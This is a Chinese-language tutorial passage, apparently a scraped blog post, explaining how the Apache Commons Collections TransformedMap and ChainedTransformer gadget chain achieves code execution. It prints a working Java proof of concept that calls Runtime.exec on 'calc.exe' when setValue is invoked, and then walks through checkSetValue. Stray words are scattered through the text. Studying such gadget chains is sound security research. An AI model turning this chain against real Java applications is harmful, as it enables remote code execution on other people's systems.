Map map=new HashMap(); map.put("key","value"); //调用目标对象的toString方法 String command="calc.exe"; final String[] execArgs = new String[] { command }; final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs) }; Transformer transformer=new ChainedTransformer(transformers); Map<String, Object> transformedMap=TransformedMap.decorate(map,null,transformer); for (Map.Entry<String,Object> entry:transformedMap.entrySet()){ System.out.println(entry); entry.setValue("anything"); }
执行结果:java
经过上一篇https://blog.51cto.com/13770310/2160737文章, 可知ChainedTransformer的transformer方法能够执行恶意代码。
上述代码的关键是:ide
for (Map.Entry<String,Object> entry:transformedMap.entrySet()){ System.out.println(entry); entry.setValue("anything"); }
为何执行了 entry.setValue("anything");就能够形成恶意代码执行呢?接下来咱们看transformedMap类的checkSetValue方法:code
/** * Override to transform the value when using <code>setValue</code>. * * @param value the value to transform * @return the transformed value * @since Commons Collections 3.1 */ protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }
当transformedMap对象执行setValue方法时会调用valueTransformer的transform方法,若是传入的valueTransformer是ChainedTransformer的对象,那不就能够形成恶意代码执行了吗。
接着查看上面代码:
所以该代码的核心仍是使用的ChainedTransformer的transformer方法orm